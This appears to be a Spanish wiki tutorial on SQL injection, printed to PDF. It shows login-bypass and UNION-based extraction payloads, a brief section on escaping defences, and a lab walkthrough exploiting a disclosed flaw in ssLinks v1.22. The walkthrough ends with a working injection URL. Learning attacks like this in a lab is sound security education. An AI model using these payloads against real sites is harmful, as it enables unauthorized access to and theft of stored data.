Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Wiki
Web
Foro
Blog
WarZone
Labs
Login
Navegacin
Bugs y Exploits
>
Nivel Web
>
Inicio
Anlisis y Diseo de
Malware
Bases de datos
Bugs y Exploits
Electrnica
Inyeccin SQL
Hardware
Informtica
Juegos y consolas
Programacin
Redes
Seguridad
Sistemas Operativos
Wireless
Mapa del sitio
nete!
Deseas ayudar a
mantener esta
wiki?
Contctanos!
elhacker.net busca
editores para la wiki, que
nos ayuden a recolectar
la informacin mas
importante del foro y
moverla a la wiki, asi
como editar el estilo y
contenido de los
artculos.
Nuestro objetivo es crear
un lugar donde puedas
aprender por tu cuenta
acerca de informtica a
partir de un recopilatorio
de temas y
conocimiento.
Actividad reciente
del sitio
Hugetlbfs Linux
editado por el-brujo
elhacker.net
Instalacion de Software
bajo Linux
editado por
Vertex.Symphony w iki
Contenidos
1 Inyeccin SQL
1.1 Ejemplo 1
1.2 Ejemplo 2
1.3 Ejercicio
1.4 Ejemplo 3
1.5 Blind SQL injection
2 Atacando a una aplicacin real.
2.1 Prefacio
2.2 Herramientas necesarias
2.3 Montando el escenario
2.4 El ataque
2.5 Un poco de SQL
Listado de subpginas
Protegerse de un ataque SQL Injection
Ejemplo 1
$us=$_POST['usuario'];
$pass=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";
-- cdigo largo cortado --
if(mysql_fetch_array($exc)){
echo "Inicio de sesin correcto"; // Esto fue modificado
}
Este es el tipico sistema de verificacion de contraseas..
utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o peticin), asi
que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false.
GnuPG
editado por
Vertex.Symphony w iki
Boot PXE
editado por
Vertex.Symphony w iki
ahora, como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y
$us?
Supongamos que ponemos de usuario Pegaso, y de password pjps.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibira sera:
View All
y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false
Ahora, con un poco de creatividad:
de usuario: Pegaso
de password: ' OR ''='
la sentencia SQL recibira:
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''
nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de
validacin como Pegaso.
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql
1/10
13/2/2014
Ejemplo 2
$us=$_POST[usuario];
$pas=$_POST[pass];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";
-- cdigo largo cortado --
Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicacin real), es vulnerable?
SI, porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una funcin que trata de desactivar todas las cadenas introducidas
por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pens, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyeccin clasica,
pasada.
Ahora, queremos sacar el password.. pero.. como?
Hay una instruccion en SQL llamada UNION, que sirve para obtener informacin de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.
Necesitas meter la misma cantidad de valores que tiene la tabla.
Tener un informe de los errores que provocaremos en la instruccin
Bien ahora empezemos.
la instruccin a modificar es la siguiente:
The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION
SELECT 1 AND 'l'=''
Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda
numeros) a un CHAR (guarda letras)
Quedaria algo asi:
' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria
la sentencia seria esta:
SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql
2/10
13/2/2014
Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda la
informacin posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).
el siguiente es un ejemplo, con la misma sentencia
usuario:
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='
y nos regresa:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:
' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='
y eso nos regresa:
root@localhost
esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.
Ejercicio
Que puedes hacer con esta sentencia?
Ejemplo 3
La inyeccin SQL es fcil de evitar en la mayora de los lenguajes de programacin que desarrollan aplicaciones web. En Perl DBI, el
mtodo
DBI::quotefiltra los caracteres especiales (asumiendo que la variable $sqlcontiene una referencia a un objeto DBI)
$query = $sql->prepare
(
"SELECT * FROM usuarios WHERE nombre = "
.
$sql->quote($nombre_usuario)
);
O tambin se puede usar la caracterstica placeholder (con comillado automtico) como sigue:
En PHP, hay diferentes funciones que nos pueden servir de ayuda para usar con distintos sistemas
de gestin de bases de datos. Para MySQL, la funcin a usar es mysql_real_escape_string:
$query_result = mysql_query
(
"SELECT * FROM usuarios WHERE nombre = \""
.
mysql_real_escape_string($nombre_usuario)
.
"\""
);
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql
3/10
13/2/2014
En C#, de la plataforma .NET (o su alternativa libre Mono), tenemos ADO.NET SqlCommand(para Microsoft SQL Server) or
OracleCommand(para servidores de bases de datos Oracle). El ejemplo de abajo muestra cmo prevenir los ataques de inyeccin de
cdigo usando el objeto SqlCommand. El cdigo para ADO.NET se programa de forma similar, pero puede variar levemente segn la
implementacin especfica de cada proveedor.
En vez de
Prefacio
Este artculo tiene como objetivo, hacer saber al lector, que es lo que pasa exactamente dentro de la aplicacin cuando hacemos una
inyeccin SQL. De esta manera, pretendo evitar que el lector haga simples copy&paste para atacar a una web y que en algn momento
tenga los conocimientos necesarios para poder modificar la sentencia a su antojo.
El programa que atacaremos [ssLink s v1.22 - http://scripts.incutio.com/sslinks/] contiene una vulnerabilidad encontrada por
SirDarckCat el da 4 de septiembre del 2006.
Nivel
Principiante.
Herramientas necesarias
Bloc de notas o editor de texto.
Servidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu
propio servidor web)
ssLink s v1.22 - http://scripts.incutio.com/sslinks/sslinks-v122.zip
Ganas de aprender
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql
4/10
13/2/2014
Montando el escenario
Primero extraemos todos los ficheros del archivo zip dentro de nuestro servidor local o los subimos a nuestra cuenta de hosting. Lo
mismo da, lo importante es poder ejecutar el programa desde un navegador web.
Una vez extrados o subidos, abrimos desde el navegador el archivo install.php.
Aqu debemos introducir nuestros datos de la base de datos. Si teneis una cuenta de hosting, estos datos os habrn llegado por mail o
los tendres en vuestro panel de administracin. Si, en cambio, teneis un servidor local, estos datos los tendrais que saber
Nota: Si por cualquier razn, a alguien no le funciona el install.php, aqu os dejo los 3 pasos que tendreis que hacer a mano.
Ejecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin.
CREATE TABLE sslinkcats (
lcat_id int(11) NOT NULL auto_increment,
lcat_cat int(11) DEFAULT '0' NOT NULL,
lcat_name varchar(100) NOT NULL,
lcat_header text,
lcat_ranking int(11),
lcat_numlinks int(11) DEFAULT '0' NOT NULL,
PRIMARY KEY (lcat_id)
)
---------------------------------------------------------------------------------
Si vamos a Admin Login nos salen unos valores por defecto, los aceptamos si no hemos usado el instalador, y si no, introducimos los
que pusimos.
Igualmente estos datos se pueden encontrar en el archivo global.inc.php
Una vez loggeados como administradores, veremos un panel para agregar categoras y links. Nosotros agregaremos 3 links diferentes
para hacer las pruebas.
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql
5/10
13/2/2014
El ataque
Empezemos lo divertido
Antes que nada miremos lo primero de todo. Los links, no redireccionan a la pgina directamente sino que pasan por la misma pgina
otra vez con un argumento "go".
Lo veis? Este link nos envia a links.php?go=ID donde cada link tiene su ID. As mismo, es de imaginar la estructura del programa:
Link a la pgina -> Llegamos al mismo sitio pero con el argumento go -> Nos lleva a la pgina que pertenece el ID.
De esta manera, el programa puede llevar unas estadsticas sobre los clicks que se han hecho al link en questin.
Pues bien, miremos primero de todo si la variable go es vulnerable.
Abrimos el archivo links.php:
<?php
/***********************************************************
*
* ssLinks v1.1 - a PHP / mySQL links management system
* (c) Simon Willison 2001
* For more information, visit www.tfc-central.co.uk/sslinks/
*
***********************************************************/
// See global.inc.php for changes since version 1.0.
include("global.inc.php"); //Change this if global.inc.php is in a different directory
// You should not need to change anything below this line.
$admin = is_admin();
$return = numlinks_array(); // Build array of number of links in each category
$numlinks = $return[0];
$numlinkstree = $return[1];
if ((!$cat) && (!$go) && (!$action))
$cat = 0;
if (isset($go))
{
jump_to($go);
}
if ($action == "login")
{
if ($username)
login($username, $password);
}
...
?>
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql
6/10
13/2/2014
include("global.inc.php");
<?php
function jump_to($id)
{
// redirect user to URL of $id and increment the hit counter
global $db_host, $db_name, $db_user, $db_pass;
$cnx = mysql_connect($db_host, $db_user, $db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name, $cnx)
or custom_die("Unable to select database.");
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num = mysql_num_rows($result);
if ($num == 0)
{
header("Location: links.php");
exit;
}
while ($row = mysql_fetch_array($result))
{
$hits = $row["link_hits"];
$url = $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
header("Location: $url");
exit;
}
?>
Y una breve explicacin de lo que hace (redirect user to URL of $id and increment the hit counter).
Excelente! Es justo lo que habamos deducido: la variable go llega al archivo, se consulta a la base de datos que URL esta asociada a
tal ID, y nos redirije a ella, despues de haber incrementando el contador.
Nota: Ahora en la funcin, la variable $go cambia de nombre por la cabecera de la funcin y pasa a llamarse $id. Esto no nos afectar...
Impresionante! Hemos encontrado nuestro primer bug!! Lo ves todos? Si, si...
<?php
function jump_to($id)
{
$id = stripslashes($id);
// redirect user to URL of $id and increment the hit counter
global $db_host, $db_name, $db_user, $db_pass;
$cnx = mysql_connect($db_host, $db_user, $db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name, $cnx)
or custom_die("Unable to select database.");
echo "SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'";
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql
7/10
13/2/2014
Lo que hemos hecho es lo siguiente. Con la funcin stripslashes() evitamos el efecto de las magic_quotes sobre la variable $id y ms
adelante imprimimos simplemente la consulta SQL antes de enviarla al MySQL. Adems comentamos los headers para poder ver el
efecto que tiene nuestro ataque, porque sino nos redirije.
Perfecto... Empezemos a hacer pruebas!
En nuestro navegador escribamos...
http://localhost/sslinks-v122/links.php?go=ertai r00lz XD
Y que sale?
SELECT link_url, link_hits FROM sslinks WHERE link_id = 'ertai r00lz XD'
Esto es la consulta SQL que hemos enviado. Como veis la variable no ha sido limpiada. Y aqu esta el bug.
Que significa no limpiar la variable? Pues en este caso el programador esperaba recibir un nmero, pero nosotros como "curiosos" le
enviamos una cadena de texto y el programa no se queja. Nuestro objetivo es enviar una cadena de texto que sea capaz de sacar datos
de la base de datos. Y en eso consisten las inyecciones SQL.
Un poco de SQL
Podra escribir pginas enteras hablando de SQL pero se que aburre y la gente quiere algo prctico.
Pues bien, (casi) toda inyeccin comenza con un UNION. Porque? Porque nosotros sabemos que podemos insertar cdigo a traves de
la variable go. El resto de la instruccin SQL no es modificable, por lo tanto, tendremos que adaptarnos nosotros a ella. Por eso el
uso de UNION. Union "concatena" por as decir los resultados de diferentes instrucciones SQL.
Supongamos que nuestra aplicacin, funcionando normalmente, esta preparada para UN SOLO RESULTADO. Porqu? Porque en
condiciones normales, solo hay un ID, que devuelve la URL a la cual queremos ir (el link) y NO mas resultados.
Por eso, nosotros tendremos que hacer que la SQL original (la primera) NO de resultados (-pero tampoco error!-) y que la nuestra
inyectada devuelve UN resultado y as en el cdigo todo cuadrara.
Adems, el nmero de campos para seleccionar en nuestra consulta inyectada debe ser el mismo, ya que el resource devuelto (el
resultado) ha de ser "quadrado".
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql
8/10
13/2/2014
SELECT link_url, link_hits FROM sslinks WHERE link_id = 'AQUI PODEMOS INYECTAR'
SELECT link_url, link_hits FROM sslinks WHERE link_id = '-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE li
Ahora esta claro, no? Le decimos que coja los datos del -1, lo cual devolver un resultado vaco porque no existe el -1, y pasara al
UNION... si os fijais, el primer campo link_hits corresponde al link_url de la primera, para que nos redirija a una URL que no ser ni
nada mas ni nada menos que los hits del id = 1. El segundo campo, cojemos otra vez los hits, para cuadrar con la primera instruccin
SQL.
Por lo tanto, si extraemos la SQL inyectada del trozo inyectable de la primera queda que lo que hemos de poner entre los '' es lo
siguiente:
-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1
Si os fijais bien, faltan la primera comilla del -1 y la ultima del 1, eso es para que cuadre con las que hay en la sentencia SQL original.
Si todo va bien, nos intentara llevar a una URL que resultara ser el nmero de visitas del ID=1. Para eso, quitad las // (doble barras) que
habamos puesto delante de los dos header() dentro de la funcin y guardad, el resto de modificaciones dejadlas. Los headers harn
que nos redirijan.
Por lo tanto, escribid en vuestro navegador:
http://RUTA_DONDE_TENGAIS_SSLINKS/links.php?go=-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1
http://RUTA_DONDE_TENGAIS_SSLINKS/numero
hackme.zip (1k)
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql
v.7
9/10
13/2/2014
Comentarios
No tienes permiso para aadir comentarios.
Iniciar sesin | Actividad reciente del sitio | Informar de uso inadecuado | Imprimir pgina | Eliminar acceso | Con la tecnologa de Google Sites
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql
10/10